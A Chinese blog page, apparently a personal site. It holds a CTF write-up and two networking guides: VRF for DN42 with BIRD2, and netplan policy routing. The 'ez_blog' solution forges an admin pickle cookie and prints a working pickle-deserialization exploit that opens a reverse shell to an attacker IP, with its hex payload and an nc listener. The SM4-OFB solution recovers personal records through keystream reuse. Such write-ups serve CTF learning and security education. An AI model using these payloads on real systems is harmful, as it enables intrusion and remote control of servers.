"000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } 运行,得到Flag:DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 打开附件发现是一个图片,根据提示,猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议,尝试打开即可发现隐藏图像: 将下方的符号按照二进制的方式组合得到: 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 8个一组解码: #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } 运行得到:DASCTF{w0mEN_beh1nD_MEn} SM4-OFB 让AI分析一下加密过程并编写解密脚本: # 使用此代码进行本地运行或在本环境运行来恢复密文(SM4-OFB 假设下) # 代码会: # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream(假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始) # 2) 用得到的 keystream 去解 record2 对应字段的密文,尝试去掉填充并输出明文(UTF-8 解码) # # 说明:此脚本**不需要密钥**,只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性(这是 OFB/CTR 的典型弱点) # 请确保安装 pycryptodome(如果需要对照加密进行验证),但此脚本只做异或操作,不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文(用户提供) record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文(用户提供) record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具:把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream(假设加密前用 PKCS#7 填充,然后按块 XOR) ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败,打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 发现能够计算得到姓名和身份证号,再将Excel表中所有人名dump出来放到txt里,让AI写个脚本批量计算: #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() 搜索,发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e,再去Excel里搜这串密文对应的身份证号的密文,得到:1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c,再用上面那个脚本解出来:120000197404101676,计算md5:fbb80148b75e98b18d65be446f505fcc即为Flag。 dataIdSort 将需求丢给AI,让AI写了个脚本: #!/usr/bin/env python3 # coding: utf-8 """ 功能: - 从 data.txt 中按顺序精确提取:身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》,优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式,并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性(长度、格式、出生日期、校验码)。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性(长度和号段)。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性(16-19位纯数字 + Luhn算法)。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性(4个0-255的数字,不允许前导零)。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分,如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格,这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计,以减少匹配歧义:优先匹配格式最特殊的。 # 1. MAC地址:格式明确,使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址:格式明确,使用点分隔。该正则更精确,避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号:结构为 6-8-4,长度固定,比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号:匹配16-19位的连续数字。这是最通用的长数字模式之一,放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号:匹配11位数字的特定格式,放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者,并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理:如果作为身份证校验失败,则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数:读取文件,执行提取,写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() 运行,得到export.csv,上传,正确率>=98%即可得到Flag:DASCTF{34164200333121342836358909307523} ez_blog 打开网页,发现要登录,根据提示,尝试使用用户名guest密码guest成功登录访客,发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析,可知这是pickle经过序列化然后转换成hex得到的,解码可发现:KappUser)}(idusernameguesis_admin logged_inub.,尝试通过修改里面的内容,将username改成admin,is_admin改成True,得到:8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e,通过BurpSuite修改请求时的Cookies,成功拿到admin用户的权限(可以创建文章): 也就是说,服务端会将Token反序列化,可以以此利用反序列化漏洞。因为没有回显,只能反弹shell。编写Payload: import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) 运行得到Payload:80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e,服务器上运行nc -lvvp 2333,将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中: 得到Flag:DASCTF{15485426979172729258466667411440}
2025年10月12日
319 阅读
0 评论
2 点赞
DN42&OneManISP - 使用VRF实现公网BGP和DN42共用一台机器
背景 目前同一区域内公网BGP和DN42分别用了一台VPS,也就是说同一个区域需要两台机器。从群友那里得知了VRF,便想着通过VRF实现同一台机器同时处理公网BGP并加入DN42。 注意:VRF方案因为其隔离性,会导致DN42无法访问主机的服务。如果你需要在服务器上跑诸如DNS之类的服务给DN42用,你可能需要再单独配置端口转发或者veth,但是不在本文讨论范围内。(这也是我实际生产环境最终还是没有采用VRF的原因) VRF的优点 虽然说DN42使用的IP段是私有地址,并且它的ASN用的都是内部ASN,理论上不会和公网BGP相互干扰,但是如果共用同一张路由表,可能会造成路由污染、管理复杂等问题。 VRF(Virtual Routing and Forwarding,虚拟路由转发)可以实现在一台机器上创建多个路由表,也就是说我们可以通过它将DN42的路由单独放到一个路由表里,以实现将DN42路由表和公网路由表相隔离。这么做的优点有: 绝对的安全与策略隔离:DN42路由表和公网路由表相隔离,从根本上杜绝了路由泄露的可能性。 清晰的运维管理:可以使用birdc show route table t_dn42和birdc show route table t_inet来分别查看和调试两张完全独立的路由表,一目了然。 故障域隔离:若果DN42的某个对等体发生Flap,这些影响将被完全限制在dn42的路由表内,不会消耗公网实例的路由计算资源,也不会影响公网的转发性能。 更符合现代网络设计理念:在现代网络工程中,为不同的路由域(生产、测试、客户、合作伙伴)使用VRF是标准做法。它将你的设备逻辑上划分成了多个虚拟路由器。 配置 系统部分 创建VRF设备 使用以下指令创建一个名为dn42-vrf的VRF设备并关联到系统的1042号路由表: ip link add dn42-vrf type vrf table 1042 ip link set dev dn42-vrf up # 启用 路由表号可以按照你自己的喜好修改,但是请避开以下几个保留路由表编号: 名称 ID 说明 unspec 0 未指定,基本不用 main 254 主路由表,大多数普通路由都放在这里 default 253 一般不用,保留 local 255 本机路由表,存放127.0.0.1/8、本机 IP、广播地址等,不能改 将现有的相应网卡关联到VRF 按照我目前的DN42网络为例,有若干WireGuard网卡和一个dummy网卡是用于DN42的,因此将这几个网卡都关联到VRF中: ip link set dev <网卡名> master dn42-vrf 需要注意的是,网卡关联到VRF之后可能会丢失地址,因此需要重新为其添加一次地址,如: ip addr add 172.20.234.225 dev dn42 完成之后,通过ip a应该能看到对应网卡的master是dn42-vrf: 156: dn42: <BROADCAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue master dn42-vrf state UNKNOWN group default qlen 1000 link/ether b6:f5:28:ed:23:04 brd ff:ff:ff:ff:ff:ff inet 172.20.234.225/32 scope global dn42 valid_lft forever preferred_lft forever inet6 fd18:3e15:61d0::1/128 scope global valid_lft forever preferred_lft forever inet6 fe80::b4f5:28ff:feed:2304/64 scope link valid_lft forever preferred_lft forever 持久化 我使用了ifupdown来实现开机自动加载dummy网卡和VRF设备。 对于VRF设备,创建文件/etc/network/interfaces.d/01-dn42-vrf并填入: auto dn42-vrf iface dn42-vrf inet manual pre-up ip link add $IFACE type vrf table 1042 up ip link set dev $IFACE up post-down ip link del $IFACE 然后使用ifup dn42-vrf启动。 对于dummy网卡,创建文件/etc/network/interfaces.d/90-dn42并填入: auto dn42 iface dn42 inet static address 172.20.234.225 netmask 32 pre-up ip link add $IFACE type dummy up ip link set $IFACE up master dn42-vrf # 此处master指定和dn42-vrf相关联 down ip link set $IFACE down post-down ip link del $IFACE iface dn42 inet6 static address fd18:3e15:61d0::1 netmask 128 因为ifupdown不支持同时配置v4和v6地址,因此需要分成两个iface。 我的dummy网卡名称为dn42,如果你的名称不一样请按需要修改。创建完后使用ifup dn42即可启动dummy网卡。 注意:VRF设备前面的标号需要比dummy网卡的大,以让VRF设备先于dummy网卡启动。 WireGuard隧道 添加PostUp使其关联到vrf并重新为其绑定地址。举个例子: [Interface] PrivateKey = [数据删除] ListenPort = [数据删除] Table = off Address = fe80::2024/64 PostUp = sysctl -w net.ipv6.conf.%i.autoconf=0 + PostUp = ip link set dev %i master dn42-vrf + PostUp = ip addr add fe80::2024/64 dev %i [Peer] PublicKey = [数据删除] Endpoint = [数据删除] AllowedIPs = 10.0.0.0/8, 172.20.0.0/14, 172.31.0.0/16, fd00::/8, fe00::/8 然后重新启动隧道即可。 Bird2部分 首先我们需要定义两张路由表,分别用于dn42的IPv4和IPv6: ipv4 table dn42_table_v4; ipv6 table dn42_table_v6 随后,在kernel protocol中指定VRF和系统路由表编号,并在IPv4、IPv6中指定前面创建的v4、v6路由表: protocol kernel dn42_kernel_v6{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv6 { + table dn42_table_v6; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIPv6; accept; }; }; }; protocol kernel dn42_kernel_v4{ + vrf "dn42-vrf"; + kernel table 1042; scan time 20; ipv4 { + table dn42_table_v4; import none; export filter { if source = RTS_STATIC then reject; krt_prefsrc = DN42_OWNIP; accept; }; }; } 除了kernel以外的protocol都加上VRF和IPv4、IPv6独立的table,但不需要指定系统路由表编号: protocol static dn42_static_v4{ + vrf "dn42-vrf"; route DN42_OWNNET reject; ipv4 { + table dn42_table_v4; import all; export none; }; } protocol static dn42_static_v6{ + vrf "dn42-vrf"; route DN42_OWNNETv6 reject; ipv6 { + table dn42_table_v6; import all; export none; }; } 总而言之就是: 一切和DN42有关的都给配置一个VRF和之前定义的路由表 只有kernel协议需要指定系统路由表编号,其他不需要 对于BGP、OSPF等也如法炮制,不过我选择将公网的RouterID和DN42的分开,因此还需要单独配置一个RouterID: # /etc/bird/dn42/ospf.conf protocol ospf v3 dn42_ospf_iyoroynet_v4 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv4 { + table dn42_table_v4; import where is_self_dn42_net() && source != RTS_BGP; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { + vrf "dn42-vrf"; + router id DN42_OWNIP; ipv6 { + table dn42_table_v6; import where is_self_dn42_net_v6() && source != RTS_BGP; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; # /etc/bird/dn42/ebgp.conf ... template bgp dnpeers { + vrf "dn42-vrf"; + router id DN42_OWNIP; local as DN42_OWNAS; path metric 1; ipv4 { + table dn42_table_v4; ... }; ipv6 { + table dn42_table_v6; ... }; } include "peers/*"; 完成后birdc c重载配置即可。 这时,我们可以通过ip route show vrf dn42-vrf来单独查看DN42的路由表: root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf 10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 ... 也可以在Ping的时候通过参数-I dn42-vrf来实现通过VRF Ping: root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf ping: Warning: source address might be selected on device other than: dn42-vrf PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data. 64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms 64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms 64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms 64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms ^C --- 172.20.0.53 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms 注意事项 如果vrf设备重载了,所有原先和vrf相关联的设备都需要重载一次,否则无法正常工作 目前DN42是无法访问到配置了VRF的主机内的服务的,后续可能出一篇文章讲一下如何去让VRF内的流量可以访问到主机服务(挖坑ing) 参考文章: 用 BIRD 运行你的 MPLS 网络
2025年09月16日
53 阅读
0 评论
0 点赞
通过PBR为双网卡VPS配置多出口路由
水文警告 背景 从朋友那里弄到一台深港IEPL机器,有两个网卡eth0和eth1,但是默认都走eth0,eth1没有配置路由。 我打算通过metric实现粗略的分流再通过PBR实现按照规则的路由配置。 配置 机器默认由cloudinit配置了网卡: # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init's # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: version: 2 ethernets: eth0: addresses: - 10.10.1.31/16 gateway4: 10.10.0.1 match: macaddress: bc:24:11:f8:42:7a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth0 eth1: addresses: - 10.20.1.31/16 - [数据删除]/64 gateway4: 10.20.0.1 gateway6: fe80::be24:11ff:fe80:66bb match: macaddress: bc:24:11:50:96:0a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth1 备份一份配置之后加上metric: # This file is generated from information provided by the datasource. Changes # to it will not persist across an instance reboot. To disable cloud-init's # network configuration capabilities, write a file # /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following: # network: {config: disabled} network: version: 2 ethernets: eth0: addresses: - 10.10.1.31/16 gateway4: 10.10.0.1 match: macaddress: bc:24:11:f8:42:7a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth0 + routes: + - to: "default" + via: "10.10.0.1" + # 设置 metric=50,作为备选出口 + metric: 50 eth1: addresses: - 10.20.1.31/16 - [数据删除]/64 gateway4: 10.20.0.1 gateway6: fe80::be24:11ff:fe80:66bb match: macaddress: bc:24:11:50:96:0a nameservers: addresses: - 223.5.5.5 - 119.29.29.29 search: - [数据删除] set-name: eth1 + routes: + - to: "default" + via: "10.20.0.1" + # 设置 metric=25,作为优先出口 + metric: 25 编写PBR配置: # /etc/netplan/90-pbr.yaml network: version: 2 ethernets: eth0: routes: - to: default via: 10.10.0.1 table: 10 routing-policy: - from: 10.10.0.0/16 table: 10 - to: 202.46.[数据删除]/32 table: 10 eth1: routes: - to: default via: 10.20.0.1 table: 20 routing-policy: - from: 10.20.0.0/16 table: 20 - to: 38.47.[数据删除]/32 table: 20 - to: 23.149.[数据删除]/32 table: 20 对于需要指定出口访问的IP为其加上to类型的规则并绑定对应路由表即可。 完成后运行 netplan apply 更新配置
2025年09月14日
44 阅读
0 评论
0 点赞
1
2
...
5